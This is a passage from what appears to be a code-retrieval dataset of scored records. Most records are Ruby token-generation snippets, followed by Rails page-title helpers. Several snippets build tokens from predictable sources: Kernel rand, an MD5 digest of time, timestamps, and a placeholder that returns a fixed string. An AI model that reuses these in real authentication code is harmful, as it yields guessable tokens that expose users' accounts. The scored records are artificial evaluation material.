token_gen\n token_gen\n end", "title": "" }, { "docid": "ff4ba86db2a3a6a12a1352ab4571a8ce", "score": "0.8067375", "text": "def generate_token\n SecureRandom.hex(10)\n end", "title": "" }, { "docid": "db7c1950b399c6ba024c5786dbfcfca6", "score": "0.8065021", "text": "def generate_token\n SecureRandom.hex(10)\n end", "title": "" }, { "docid": "44975f9577d2ea2e5b1d604c69e2ff3a", "score": "0.8056269", "text": "def generate_token\n return nil unless self[:token].nil?\n\n @raw_token = UniqueToken.generate\n secret_strategy.store_secret(self, :token, @raw_token)\n end", "title": "" }, { "docid": "517a440793b410ad01bba7b41a119c47", "score": "0.80528474", "text": "def generate_token\n\t\tDigest::SHA2.hexdigest(MOBWRITE_SECRET_KEY + self.id.to_s + Time.now.to_i.to_s)\n\tend", "title": "" }, { "docid": "91cddb2bf916c98fc08089d285986fcf", "score": "0.80372053", "text": "def generate_token\n SecureRandom.hex\n end", "title": "" }, { "docid": "6bafc72e0269521c6f2dfcd000fcbe8e", "score": "0.80329233", "text": "def generate_token\n self.token = SecureRandom.hex(32)\n end", "title": "" }, { "docid": "55118424fa2773dec4227446d412b866", "score": "0.8024079", "text": "def generate_token\n self.token = SecureRandom.hex(16)\n end", "title": "" }, { "docid": "91e0b97f3547d037d87a2ec863b80e4e", "score": "0.8012644", "text": "def make_token\n secure_digest(Time.now, (1..10).map{ rand.to_s })\n end", "title": "" }, { "docid": "5d478abe37ac3e4dc5c3b238ff2c60ff", "score": "0.7996399", "text": "def unique_token\n SecureRandom.uuid.gsub('-', '')\n end", "title": "" }, { "docid": "6d08cf49d9a3dd01af33c7ae145661f8", "score": "0.7978184", "text": "def generate_unique_token\n token = SecureRandom.hex(3)\n while Link.find_by(token: token)\n token = SecureRandom.hex(3)\n end\n token\n end", "title": "" }, { "docid": "a2d21f307865adf87d3508daa7f55910", "score": "0.79692775", "text": "def generate_token\n\t\ttoken_gen = SecureRandom.hex\n\t\tself.token = token_gen\n\t\ttoken_gen\n\tend", "title": "" }, { "docid": "a2d21f307865adf87d3508daa7f55910", "score": "0.79692775", "text": "def generate_token\n\t\ttoken_gen = SecureRandom.hex\n\t\tself.token = token_gen\n\t\ttoken_gen\n\tend", "title": "" }, { "docid": "2f37f9a7242cb486fd18c53ba3f5ad29", "score": "0.7941653", "text": "def make_token\n \"#{RandomGenerator.make_string(4)}-#{RandomGenerator.make_string(4)}\".upcase\n end", "title": "" }, { "docid": "5d8e691585d79ba802b4c3ccebb344c2", "score": "0.7918238", "text": "def generate_token(attr)\n update_attribute(attr, SecureRandom.hex(16))\n end", "title": "" }, { "docid": "2aa9bc6d1d13f058bd367697f16a625c", "score": "0.79141", "text": "def generate_token\n SecureRandom.urlsafe_base64(nil, false)\n end", "title": "" }, { "docid": "835d8b9d9fb7286133e7fc65beea3221", "score": "0.7912326", "text": "def generate_token\n self.token = SecureRandom.uuid if token.blank?\n end", "title": "" }, { "docid": "afb57b98cdd31ea3ad37bca18201ed8d", "score": "0.7911613", "text": "def generate_token\n begin\n self.token = SecureRandom.hex\n end while self.class.exists?(token: token)\n end", "title": "" }, { "docid": "761bb9549aefe262fb47efaed1c4d1de", "score": "0.7905334", "text": "def generate_token\n self.token = SecureRandom.hex\n end", "title": "" }, { "docid": "8ec762150e992b3071690b4e33545bcd", "score": "0.7903512", "text": "def regenerate_token\n generate_uuid_token(:token)\n end", "title": "" }, { "docid": "b42ed6f27d7bb347f8c2d8e5cd07edc1", "score": "0.7896314", "text": "def generate_token\n if new_record?\n self.token = SecureRandom.uuid\n end\n end", "title": "" }, { "docid": "32acf7878b9d07b346a3a6f8e0d3777a", "score": "0.78936815", "text": "def generate_unique_token\n record = true\n while record\n random = SecureRandom.hex\n record = self.class.where(:unique_token => random).first\n end\n\n self.unique_token = random if self.unique_token.blank?\n self.unique_token\n end", "title": "" }, { "docid": "39738dc1d7f33d6a44a3563c7bd40c75", "score": "0.78711975", "text": "def generate_token! # :nodoc:\n generate_token\n save\n end", "title": "" }, { "docid": "910aa12ee64fa5f1ee2ea3eb58537996", "score": "0.78663063", "text": "def unique_token(time=Time.now)\n time.strftime(\"%Y%m%d%H%M%9N\").to_i.to_s(36)\n end", "title": "" }, { "docid": "66138850679b2a68e2ffa22ed2b5c8ea", "score": "0.78610855", "text": "def create_unique_identifier\n begin\n # 5 years to guess at 10k attempts/second:\n # log(16, 10000 * 60 * 60 * 24 * 365 * 5) ~= 10.13\n #\n # TODO(azirbel): Yeah, that ^ is not actually right because we want something like\n # \"number of attempts between guesses which produce ANY document\" - you shouldn't\n # be able to brute force and get interesting documents quickly\n self.token = SecureRandom.hex(10)\n end while self.class.exists?(:token => token)\n end", "title": "" }, { "docid": "b35e6487383cf62bd54c691b7df6a3c1", "score": "0.78584015", "text": "def generate_token\n SecureRandom.hex(64)\nend", "title": "" }, { "docid": "b35e6487383cf62bd54c691b7df6a3c1", "score": "0.78584015", "text": "def generate_token\n SecureRandom.hex(64)\nend", "title": "" }, { "docid": "52f588cc859bffdff50ec3b571006d34", "score": "0.7855286", "text": "def get\n sync do\n 10.times do\n t = SecureRandom.hex(20)\n next if tokens.has_key?(t)\n\n tokens[t] = true\n return t\n end\n end\n\n fail 'unable to generate a unique token'\n end", "title": "" }, { "docid": "c8ace6452583c53fd884f998e02238ea", "score": "0.78518325", "text": "def generate_token\n loop do\n token = SecureRandom.base64.tr('+/=', 'Qrt')\n break token unless User.exists?(token: token)\n end\n end", "title": "" }, { "docid": "0b195d43361a36c008695d47d523d30d", "score": "0.7846659", "text": "def generate_token\n\tbegin\n\t\tself.token = SecureRandom.hex(64)\n\tend while Alfa::Token.find_by_token(self.token)\n end", "title": "" }, { "docid": "d5093a131f2a1ecf0253d1e58776fbed", "score": "0.78173953", "text": "def generate_token\n SecureRandom.urlsafe_base64\n end", "title": "" }, { "docid": "d5093a131f2a1ecf0253d1e58776fbed", "score": "0.78173953", "text": "def generate_token\n SecureRandom.urlsafe_base64\n end", "title": "" }, { "docid": "d5093a131f2a1ecf0253d1e58776fbed", "score": "0.78173953", "text": "def generate_token\n SecureRandom.urlsafe_base64\n end", "title": "" }, { "docid": "fc658c795315dd19cf1b0ab68d6462d8", "score": "0.7813399", "text": "def generate_token\n self.token ||= Tokenizer.random_token(16)\n end", "title": "" }, { "docid": "32ceea48535b988ee3dc8876700f8e27", "score": "0.78087133", "text": "def generateToken()\n while true\n token = rand(2**512)\n return token unless $tokens.include?(token)\n end\n end", "title": "" }, { "docid": "f06aa28de688e97a0b4b4be5e74b5d67", "score": "0.7807329", "text": "def generate_random_token\n SecureRandom.hex(15)\n end", "title": "" }, { "docid": "5c4fa3252d6e310efb97f962824fe564", "score": "0.78063697", "text": "def generate_token\n return SecureRandom.urlsafe_base64\n end", "title": "" }, { "docid": "ac6b5f55eced763ae09d95e2f85fd72f", "score": "0.77828103", "text": "def generate_token\n return unless token.nil?\n token = @auth_token\n temp_token = (token + '|' + Time.now.to_s) if token.index('|').nil?\n @token = Magician.encrypt temp_token\n end", "title": "" }, { "docid": "2065b46bedddec722cf05dc743a5e618", "score": "0.77806944", "text": "def generate_token(name = '')\n # TODO: replace with a real token generator\n \"#{name}_token\"\nend", "title": "" }, { "docid": "70a0507dc2dda3c06cb3efb3c6421cc6", "score": "0.7769383", "text": "def gen_token\n nonce = Array.new(10){rand(0x100000000)}.pack('I*')\n nonce_base64 = [nonce].pack('m').chomp\n now = Time.now.utc.iso8601\n digest = [Digest::SHA1.digest(nonce + now + @password)].pack('m').chomp\n sprintf(%Q<UsernameToken Username=\"%s\", PasswordDigest=\"%s\", Nonce=\"%s\", Created=\"%s\">,\n @username, digest, nonce_base64, now)\n end", "title": "" }, { "docid": "2491e4a93cb6400fc421cb55c005f166", "score": "0.7760823", "text": "def generate_token\n\n # Generate random token untill is unique\n begin\n new_token = SecureRandom.base64(64)\n tokens = Session.all.map{ |t| t.token}\n end while tokens.include? new_token\n\n return new_token\n end", "title": "" }, { "docid": "499dc30ffb72ada7aa41f82a21ee80b6", "score": "0.7749838", "text": "def generate_token\n return SecureRandom.urlsafe_base64\n end", "title": "" }, { "docid": "e7d07d387e9209907a92b82fec543411", "score": "0.77312016", "text": "def generate_token\n while token.blank? || User.exists?(token: token)\n self.token = SecureRandom.hex(10)\n end\n end", "title": "" }, { "docid": "88a066cd1b78f7ed7bb4140784fbcd1c", "score": "0.7728077", "text": "def generate_random_token\n SecureRandom.urlsafe_base64(\n sorcery_config.token_randomness\n ).tr('lIO0', 'sxyz')\n end", "title": "" }, { "docid": "f41d4ffbe04cde7f3f5af8a0b66e4aa4", "score": "0.77237123", "text": "def create_token\n # Generate a random endpoint for the customer\n endpoint = (0...13).map { ('a'..'z').to_a[rand(26)] }.join\n @token = generate_token endpoint\n end", "title": "" }, { "docid": "1ffe334e5c6fc633085166d453823234", "score": "0.77111846", "text": "def generate_token\n self.update({:token => SecureRandom.hex})\n end", "title": "" }, { "docid": "9ae4df89d8b32e4db510f01865e50af2", "score": "0.77101886", "text": "def set_uniq_token\n self.token = Digest::MD5.hexdigest \"#{SecureRandom.hex(10)}-#{DateTime.now.to_s}\"\n end", "title": "" }, { "docid": "a1cc37e767d91712f6a64385c753c6b7", "score": "0.7708533", "text": "def generate_unique_token(column)\n unique_token_generator(column) do\n SecureRandom.urlsafe_base64(64)\n end\n end", "title": "" }, { "docid": "e80593bdc7c9593c780a375711d3e82e", "score": "0.7708172", "text": "def generate_token\n \tloop do \n \t\ttoken = SecureRandom.hex\n \t\tbreak token unless User.exists? authentication_token: token\n \tend\n end", "title": "" }, { "docid": "abc2b2e068eb56448a592733b89781b8", "score": "0.76973116", "text": "def random_token\n rand(36**8).to_s(36)\n end", "title": "" }, { "docid": "5579f70f2b789a3eafa3f2e6e3468743", "score": "0.76886266", "text": "def generate_token(length=20)\n self.hash_id = SecureRandom.urlsafe_base64(length, false)\n loop do\n self.hash_id = SecureRandom.urlsafe_base64(length, false)\n break hash_id unless self.class.exists?(hash_id: hash_id)\n end\n end", "title": "" }, { "docid": "d38cedf1f1c144a87f280f06f65bd734", "score": "0.7682534", "text": "def generate_token\n logger.info(\"generating token for #{id} email: #{email} name: #{name}\")\n token_before = \"#{Time.now.to_i}\" + email\n # MD5.md5(token_before).hexdigest\n OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new(AppConstants::FILE_DOWNLOAD_DIGEST), \n AppConstants::FILE_DOWNLOAD_KEY, token_before)\n end", "title": "" }, { "docid": "89dba43893cb07fc8f062211eb4ad7dd", "score": "0.76795584", "text": "def generate_token\n\t\to = [('a'..'z'),('A'..'Z')].map{|i| i.to_a}.flatten\n self.token = (0...10).map{ o[rand(o.length)] }.join\n\tend", "title": "" }, { "docid": "3a409624352e0171d5ccdcd528f1b35f", "score": "0.7651829", "text": "def generate_token\n self.token ||= SecureRandom.urlsafe_base64\n end", "title": "" }, { "docid": "e94c754e7cb05e18572d244168bd16f1", "score": "0.765004", "text": "def random_token\n rand(36**11).to_s(36).upcase[0,6]\n end", "title": "" }, { "docid": "f5ca2394ad85d71688da5adbd5aa0118", "score": "0.7645546", "text": "def generate_token\n attempts = 0\n\n begin\n self.token = SecureRandom.uuid\n save!\n\n self.expiry_date = 1.day.from_now\n save!\n rescue\n attempts += 1\n STDERR.puts 'Token collision!' unless attempts == MAX_ATTEMPTS\n\n retry if attempts < MAX_ATTEMPTS\n\n STDERR.puts 'Token collision! Max attempts exceeded!'\n return false\n end\n\n return self.token\n end", "title": "" }, { "docid": "fc6df4a5c27115dcc235024567baeb31", "score": "0.7636272", "text": "def generate_token\n chars = ['A'..'Z', 'a'..'z', '0'..'9'].map{|r|r.to_a}.flatten\n Array.new(50).map{chars[rand(chars.size)]}.join\n end", "title": "" }, { "docid": "83fa4ecd9dc230a8df0ba297a571b40d", "score": "0.7628038", "text": "def generate_unique_user_token\n generate_unique_token do |token|\n Mongodb::User.find_by token: token\n end\n end", "title": "" }, { "docid": "b390d71c296f3a6904a51c80a72eec27", "score": "0.76210374", "text": "def ensure_token\n return if self.token.present?\n length = 10\n self.token = (36**(length-1) + rand(36**length - 36**(length-1))).to_s(36)\n end", "title": "" }, { "docid": "a88bcb2325bfab5d74677761e7e29e9e", "score": "0.761716", "text": "def generate_token\n token = SecureRandom.hex\n digest = BCrypt::Password.create(token, cost: BCrypt::Engine.cost)\n update_column(:token_digest, digest)\n token\n end", "title": "" }, { "docid": "891ed5381d64f519095b690deed00aa2", "score": "0.7607212", "text": "def generate_token\n self.token = SecureRandom.urlsafe_base64\n end", "title": "" }, { "docid": "d7389adb7e274858c01bcfd79c25b0a1", "score": "0.7601478", "text": "def generate_token # :nodoc:\n begin\n self.token = url_friendly_token\n end while self.class.exists?(:token => token)\n self.token_created_at = Time.now.utc\n end", "title": "" }, { "docid": "66c3081ac52411066878279c55e28e71", "score": "0.7597176", "text": "def generate_token\n u = User.find(params[:id])\n Token.generate(u)\n redirect_to root_path\n end", "title": "" }, { "docid": "0e73a6babbfa1f7dc5a78f7953b5e051", "score": "0.75960433", "text": "def generate_unique_secure_token(length: MINIMUM_TOKEN_LENGTH)\n SecureRandom.base36(length)\n end", "title": "" }, { "docid": "5c28cbc9f2358cc75e326dfc7b2b416b", "score": "0.75956285", "text": "def generate_token\n self.token = loop do\n random_token = SecureRandom.base58(UID_LENGTH)\n break random_token unless UserConfirmation.exists?(token: random_token)\n end\n end", "title": "" }, { "docid": "18cc7a3723465d7e897bd98e5e701fff", "score": "0.75699085", "text": "def generate_token(token_name)\n begin\n self[token_name] = SecureRandom.urlsafe_base64 # random token\n end while User.exists?(token_name => self[token_name]) # makes sure it's unique\n end", "title": "" }, { "docid": "ab25f4936b701466a5a95f2fcb855440", "score": "0.7568508", "text": "def generate_token\n self.token = loop do\n random_token = SecureRandom.urlsafe_base64(32)\n break random_token unless !User.where(token: random_token).blank?\n end\n end", "title": "" }, { "docid": "d1596f67e921215b0c2f666d1af8663b", "score": "0.7558534", "text": "def generate_unique_token\n record, options = true, @has_tokenable_options\n conditions = {}\n\n token = loop do\n random_token = self.generate_method(options)\n\n conditions[options[:param_name].to_sym] = random_token\n\n break random_token unless self.exists?(conditions)\n end\n\n token\n end", "title": "" }, { "docid": "0be8dafdc74e993d634c995f3c741053", "score": "0.7554946", "text": "def regenerate_token\n random_string = (0...50).map { ('a'..'z').to_a[rand(26)] }.join\n self.update_attribute(:token, random_string)\n end", "title": "" }, { "docid": "cd085f39a07e05a958d97f495192602b", "score": "0.755334", "text": "def generate_token\n loop do\n token = SecureRandom.base64.tr('+/=', 'Qrt')\n break token unless User.exists?(authentication_token: token)\n end\n end", "title": "" }, { "docid": "959209d38f0a7d97166fc92df4fd3403", "score": "0.754786", "text": "def generate_token\n self.token = User.encrypt(User.new_token)\n end", "title": "" }, { "docid": "f5f2c200244e3c8b818a395c514c7bdc", "score": "0.7544398", "text": "def generate_token\n return unless new_record?\n\n 10.times do\n self.token = Digest::MD5.hexdigest(rand(1048576).to_s + Time.now.to_s)\n break unless self.class.where(:token => self.token).count > 0\n end\n end", "title": "" }, { "docid": "f5f2c200244e3c8b818a395c514c7bdc", "score": "0.7544398", "text": "def generate_token\n return unless new_record?\n\n 10.times do\n self.token = Digest::MD5.hexdigest(rand(1048576).to_s + Time.now.to_s)\n break unless self.class.where(:token => self.token).count > 0\n end\n end", "title": "" }, { "docid": "d8ca4ae73e0ce41f90de04babc4eb3c8", "score": "0.75324094", "text": "def generate_ui_token!\n new_token = SecureRandom.hex(16)\n update_column(:ui_token, new_token)\n end", "title": "" }, { "docid": "4879e7fd330b19d36d96e0155f318ef4", "score": "0.7523118", "text": "def generate_token\n token = \"\"\n for i in 1..MiniCaptcha.token_length do\n token += \"#{MiniCaptcha.token_charset[rand(MiniCaptcha.token_charset.length),1]}\"\n end\n token\n end", "title": "" }, { "docid": "cd71bede6f18a51db4e07fbe96cd2f06", "score": "0.75192183", "text": "def generate_token(length = 20)\n # To calculate real characters, we must perform this operation.\n # See SecureRandom.urlsafe_base64\n rlength = (length * 3) / 4\n SecureRandom.urlsafe_base64(rlength).tr('lIO0', 'sxyz')\n end", "title": "" } ]
bac4f8d6cb10c1c46e131a9b298d240e
Returns the title of the page/content
[ { "docid": "5e4334acbfe323b2590174da82e521af", "score": "0.0", "text": "def title\n @title ||= Utilities.longest_common_substring_in_array(titles.values) \n @title = titles[:og_title] unless title_ok?\n @title = titles[:html_title] unless title_ok?\n @title = titles[:from_doc] unless title_ok?\n\n @title\n end", "title": "" } ]
[ { "docid": "a48b4df2c3211068f73473525263498c", "score": "0.8761454", "text": "def page_title\n page.title\n end", "title": "" }, { "docid": "963c66d8fb415e62cf78790ff75f82b6", "score": "0.86510736", "text": "def title\n @title_pages.each { |tp| tp.title and return tp.title }\n nil\n end", "title": "" }, { "docid": "aeea87ddf3bcf09278b42ba4a3633be0", "score": "0.8344904", "text": "def title\n return @title if @title\n if matches = class_const(:TITLE_RE).match(page)\n @title = matches[1].to_s.strip\n title_processor\n @title = decode_entities(@title)\n end\n end", "title": "" }, { "docid": "671c0d7a193bbebe46f89e45dcfaea30", "score": "0.8295216", "text": "def page_title(title)\n content_for_wrapper(:page_title, title)\n end", "title": "" }, { "docid": "2dc7c407a1b621833ed58ee95dfebe2b", "score": "0.82712036", "text": "def title\n page.title\n end", "title": "" }, { "docid": "0adb56beca72e9cca0d1c12db876fa8e", "score": "0.82523656", "text": "def title(page_title)\n\t content_for(:title) { page_title }\n\tend", "title": "" }, { "docid": "2d518ee539834d97d3432a83cba45596", "score": "0.82078165", "text": "def title(page_title)\n content_for(:title) { page_title }\n end", "title": "" }, { "docid": "2d518ee539834d97d3432a83cba45596", "score": "0.82078165", "text": "def title(page_title)\n content_for(:title) { page_title }\n end", "title": "" }, { "docid": "2d518ee539834d97d3432a83cba45596", "score": "0.82078165", "text": "def title(page_title)\n content_for(:title) { page_title }\n end", "title": "" }, { "docid": "2d518ee539834d97d3432a83cba45596", "score": "0.82078165", "text": "def title(page_title)\n content_for(:title) { page_title }\n end", "title": "" }, { "docid": "e85c2ec7f3f11d9b2c5b960552111d9b", "score": "0.8201272", "text": "def page_title\n @page_title ||= format_string(page[\"title\"]) || site_title\n end", "title": "" }, { "docid": "6a60b48483d3a0f56391f165ab271c38", "score": "0.81848425", "text": "def title(page_title)\n content_for :title do\n page_title\n end\n end", "title": "" }, { "docid": "6f381d07ca12d0bcf047015f9af81784", "score": "0.8178067", "text": "def page_title\n title = content_for?(:title) ? \" - #{content_for(:title)}\" : \"\"\n \"Todobadour#{title}\"\n end", "title": "" }, { "docid": "cc809f6f4b3028b40ae49261aab668bb", "score": "0.8171808", "text": "def title(page_title)\n \tcontent_for(:title) { page_title }\n \tend", "title": "" }, { "docid": "e42b75faef94ac24d0e36f11f156ca98", "score": "0.8131069", "text": "def get_title\n @doc.css('title').text\n end", "title": "" }, { "docid": "018eeb80f07f7ec1877c9cae04f8f449", "score": "0.81132424", "text": "def page_title\n end", "title": "" }, { "docid": "c1d887175bf68cbb5c41ec3afab47ac3", "score": "0.8107024", "text": "def title(page_title)\n content_for(:title) { page_title }\n end", "title": "" }, { "docid": "c1d887175bf68cbb5c41ec3afab47ac3", "score": "0.8107024", "text": "def title(page_title)\n content_for(:title) { page_title }\n end", "title": "" }, { "docid": "17d5672688ed7f1f5e04a0cb6a4fed46", "score": "0.80972147", "text": "def page_title title= nil\n\t\tif title\n\t\t\tcontent_for(:page_title) { \"#{title} - 2da.re\" }\n\t\t\treturn title\n\t\telse\n\t\t\tcontent_for?(:page_title) ? content_for(:page_title) : \"Ready 2da.re?\"\n\t\tend\n\tend", "title": "" }, { "docid": "0f30208d01f19872b5fd683ce57ed9fa", "score": "0.80843514", "text": "def title(page_title)\n content_for(:title) { page_title }\n\n end", "title": "" }, { "docid": "ec17842e4ac1f677b6d8665ad764e39e", "score": "0.808396", "text": "def title(page_title = nil)\n if page_title\n content_for(:title) do\n page_title\n end\n else\n content_for(:title) do\n \"DateIdeas.ca\"\n end\n end\n end", "title": "" }, { "docid": "8e9491cecf6cdfcfce6735c151acf751", "score": "0.808063", "text": "def page_title\n @web_browser.page_title\n end", "title": "" }, { "docid": "16432218b4076d3f5efa3c475997fd5d", "score": "0.8069657", "text": "def get_page_title(page_doc)\n\treturn page_doc.css('title').text.strip\nend", "title": "" }, { "docid": "d34bee65f46de757e07885713113fbc9", "score": "0.80671", "text": "def title(page_title)\n content_for :page_title, page_title.to_s.html_safe\n end", "title": "" }, { "docid": "cb4961ca4d824e654e33e7b1084c1a43", "score": "0.80643755", "text": "def title\n @title ||= self.content.split(@@title_separator).first unless self.content.nil?\n end", "title": "" }, { "docid": "85c46724fbc258495d576a9976f62ffa", "score": "0.80513626", "text": "def page_title\n title = t(\"#{controller_name}.#{action_name}.title\")\n html = <<-HTML\n <div class=\"page-header\">\n <h1>#{title}</h1>\n </div>\n HTML\n html.html_safe\n end", "title": "" }, { "docid": "c1b52bbb34228ac711f141165f31fa27", "score": "0.8033016", "text": "def page_title\n @page_title || TaliaCore::SITE_NAME\n end", "title": "" }, { "docid": "d8fc8691ff52a251f57180980c2fd8f8", "score": "0.8026359", "text": "def page_title\n self.div(:id=>\"s3d-page-container\").div(:class=>\"s3d-contentpage-title\").text\n end", "title": "" }, { "docid": "d8fc8691ff52a251f57180980c2fd8f8", "score": "0.8026359", "text": "def page_title\n self.div(:id=>\"s3d-page-container\").div(:class=>\"s3d-contentpage-title\").text\n end", "title": "" }, { "docid": "588a35d762d0a2acfbea5d2db2ae6491", "score": "0.8020569", "text": "def title\n @title ||= begin\n if site_title && page_title != site_title\n page_title + TITLE_SEPARATOR + site_title\n elsif site_description && site_title\n site_title + TITLE_SEPARATOR + site_title_extention_or_description\n else\n page_title || site_title\n end\n end\n\n return page_number + @title if page_number\n\n @title\n end", "title": "" }, { "docid": "3b5e0399cafccb977a9553fc7d649230", "score": "0.8020117", "text": "def page_title\r\n @web_browser.page_title\r\n end", "title": "" }, { "docid": "067a4eb05b90494115342a8f9ea1434c", "score": "0.8019671", "text": "def get_page_title\n uri = request.request_uri\n section = uri.split(\"/\").last\n title = case section\n # these should be consistent now\n when \"questions\" then \"Key Questions\"\n when \"publications\" then \"Publication Information\"\n when \"arms\" then \"Study Arms\"\n when \"design\" then \"Study Design\"\n when \"baselines\" then \"Baseline Characteristics\"\n when \"outcomes\" then \"Outcome Setup\"\n when \"results\" then \"Results\"\n when \"adverse\" then \"Adverse Events\"\n when \"quality\" then \"Study Quality\"\n else \"\"\n end\n return title\n end", "title": "" }, { "docid": "66a616348f74ca7d8971d00d6e2e0f5a", "score": "0.8008059", "text": "def title(page_title)\n @title = page_title\n content_for(:title) { page_title }\n end", "title": "" }, { "docid": "7a8db9f2f01dc58f028baedad948fb10", "score": "0.8007282", "text": "def page_title\n nil\n end", "title": "" }, { "docid": "344599e6d8a4d2669d67fb1920ed0a03", "score": "0.80053174", "text": "def name; (page.title rescue ''); end", "title": "" }, { "docid": "344599e6d8a4d2669d67fb1920ed0a03", "score": "0.80053174", "text": "def name; (page.title rescue ''); end", "title": "" }, { "docid": "8a3fb03ee29568ffe5a06a1f65f77c2f", "score": "0.8000498", "text": "def the_title(content=nil)\n if node = content || @content || Content.get(params[:id])\n node.title\n else\n \"<strong>Error:</strong> No title could be found\" unless ENV['RACK_ENV'] == 'production'\n end\n end", "title": "" }, { "docid": "f86a4581a512e8e02476286b13b853b2", "score": "0.7980606", "text": "def page_title(title)\n content_for :page_title, title\n end", "title": "" }, { "docid": "d0b3e2be6e8f69b3a3d4c0459644f520", "score": "0.7979853", "text": "def page_title; end", "title": "" }, { "docid": "200b554e1716c77dcb5973ba86dfc152", "score": "0.79782325", "text": "def title(page_title)\n base_title = \"Blog Secret Santa\" \n content_for(:title) { \"#{page_title} | #{base_title}\" }\n content_for(:heading) { page_title }\n end", "title": "" }, { "docid": "72bd84aa64a0f36f55a410bc3bedd55b", "score": "0.7955201", "text": "def page_title(page_title)\n content_for_layout :page_title, page_title\n end", "title": "" }, { "docid": "77e23370259381d7d9cabb425b46af97", "score": "0.7955131", "text": "def pageTitle\n (self || Home.new).title\n end", "title": "" }, { "docid": "1c81203f480119f5b3a11ad3207c7e8f", "score": "0.79541796", "text": "def title\n { title: @doc.xpath('//h1').first.content }\n end", "title": "" }, { "docid": "f5f90883fee7d0c30c4722f525c0dad8", "score": "0.79394156", "text": "def page_title() nil end", "title": "" }, { "docid": "3a9abb06f17cbc493af3b9aaa7c3a1d5", "score": "0.79206955", "text": "def title\n base_title = \"CloudSpokes Coding Challenges\"\n if @page_title.nil?\n base_title\n else\n \"#{base_title} - #{@page_title}\"\n end\n end", "title": "" }, { "docid": "28f4552c2242ffe78d44920a4e991c98", "score": "0.7919212", "text": "def page_title( this_title = nil )\n content_for( :title ) { \"#{ SITE_ID }: #{ this_title.nil? ? I18n.t( controller.controller_name + '.title' ) : this_title }\" }\n end", "title": "" }, { "docid": "8cdf54fb77ccba31dee08453bc198861", "score": "0.7917981", "text": "def title\n @doc.xpath(\"/html/head/title\").first&.text\n end", "title": "" }, { "docid": "130b412ae9981823a904969301cf78f5", "score": "0.791589", "text": "def title\n @global_page.title\n end", "title": "" }, { "docid": "fcaf510a8088a6d8f72c9bbf9d6fb0d0", "score": "0.78854865", "text": "def title\n @title ||= hash.fetch('title') { |key|\n raise \"Page id=#{id} is missing #{key}\"\n }\n end", "title": "" }, { "docid": "893d69b6afe63bf662b36fd890f7764b", "score": "0.7883046", "text": "def title\n @title ||= details.at(\"h1.header\").text.strip rescue nil\n end", "title": "" }, { "docid": "f96cc49b3ec6c48339f264494f018888", "score": "0.7875802", "text": "def page_title(page)\n return site_title if page.title.nil? || page.title.empty?\n\n title = t(\"titles.#{page.title}\",\n flavor: settings.site_name.capitalize,\n default: [\"docs.#{page.parent}.#{page.title}\".to_sym,\n page.title.to_s.titleize])\n\n if page.parent.nil?\n parent_title = site_title\n else\n parent_title = t(\"titles.#{page.parent}\",\n flavor: settings.site_name.capitalize,\n default: site_title)\n end\n\n \"#{title} | #{parent_title}\"\n end", "title": "" }, { "docid": "5f14dcf14b8a2ebedc3161d020dbb7a3", "score": "0.78595454", "text": "def title\n @data.title ||= parsed_document.css('title').inner_html.gsub(/\\t|\\n|\\r/, '') rescue nil\n end", "title": "" }, { "docid": "f5b35a6722a833c0804ad64480ea92d8", "score": "0.7855485", "text": "def page_title\n case\n when @post\n \"#{@post.title} - Ben Hoad\"\n when @tag\n \"Tagged with ##{@tag} - Ben Hoad\"\n else\n \"Ben Hoad\"\n end\n end", "title": "" }, { "docid": "0fffa90550aae49aee25137e11624154", "score": "0.7849532", "text": "def title(page_title)\n content_for(:title) do\n \"#{page_title} - #{MySettings.company_full_name}\"\n end\n end", "title": "" }, { "docid": "b481c44bc87ebd3c3e8691be17bc5be2", "score": "0.78435", "text": "def page_title\n h Array(@title).join(\" / \") + \" | integrity\"\n end", "title": "" }, { "docid": "a0d870e32f154a2789f5e4d498292c3a", "score": "0.7839044", "text": "def title\n @title ||= parsed_document.css('title').inner_text rescue nil\n end", "title": "" }, { "docid": "36fff44c316425ebcf9fa6d0cf78ddd4", "score": "0.78351843", "text": "def title\n if detail_page?\n \"#{resource.name} - #{menu.name} - #{website_tag.name}\"\n else\n \"#{menu.name} - #{website_tag.name}\" \n end \n end", "title": "" }, { "docid": "1cba3e9c4f0bd7a216cf5a9cda9ce441", "score": "0.7834413", "text": "def title\n @title ||= (Nokogiri::HTML.parse(@html).title).to_s.gsub(/\\n|\\t|\\r/,\"\")\n end", "title": "" }, { "docid": "7ba4d07f80ebbb8107c2c7aedb43e2cb", "score": "0.78279513", "text": "def page_title\n return \"#{this_webapp.webapp_name} - #{@page_title}\" if @page_title\n return \"#{this_webapp.webapp_name}\"\n end", "title": "" }, { "docid": "28934f1310eaaea06a8a32ea1aa52290", "score": "0.7820934", "text": "def page_title\n layout = controller.send(:_layout)\n base_title = I18n.t(\"layouts.#{layout}.title\", default: :'layouts.application.title')\n\n i18n_scope = \"#{params[:controller].gsub('/', '.')}.#{action_name}\"\n i18n_parts = [\n content_for(:page_title),\n I18n.t(:page_title, default: \"\", scope: i18n_scope).presence,\n I18n.t(:title, default: \"\", scope: i18n_scope).presence\n ]\n title_content = i18n_parts.compact.first\n [base_title, title_content].compact.join(' - ')\n end", "title": "" }, { "docid": "1a0a1252e367f0ffc4b322392cf86be6", "score": "0.7813917", "text": "def page_title\n klass = Module.const_get(self.page.split('_').first)\n return klass.find(self.page.split('_').last.to_i).name || klass.find(self.page.split('_').last.to_i).title\n rescue NameError\n return self.page\n end", "title": "" }, { "docid": "e91cf35f44a22f152ddc182cdf3d4a8a", "score": "0.78129077", "text": "def page_title\n active_div.div(:class=>\"s3d-contentpage-title\").text\n end", "title": "" }, { "docid": "e91cf35f44a22f152ddc182cdf3d4a8a", "score": "0.78129077", "text": "def page_title\n active_div.div(:class=>\"s3d-contentpage-title\").text\n end", "title": "" }, { "docid": "e91cf35f44a22f152ddc182cdf3d4a8a", "score": "0.78129077", "text": "def page_title\n active_div.div(:class=>\"s3d-contentpage-title\").text\n end", "title": "" }, { "docid": "f51b8a31db3513376ec3b2f29794641c", "score": "0.7806996", "text": "def page_title \n %(<title>#{page_title_raw}My Blog</title>) # Customize this for your blog\n end", "title": "" }, { "docid": "1b07851c6ab4ffd2c08933f0f5368ce2", "score": "0.7802209", "text": "def page_title\n \n page_title = @renderer.title title()\n \n puts \"[Cutlist.page_title]: #{page_title}\" if $cutlister_debug\n \n page_title\n \n end", "title": "" }, { "docid": "ba9eddb2f6b152464d1d09b745965768", "score": "0.7801248", "text": "def page_title(title = nil)\n if title\n content_for(:page_title) { title }\n else\n content_for?(:page_title) ? content_for(:page_title) : 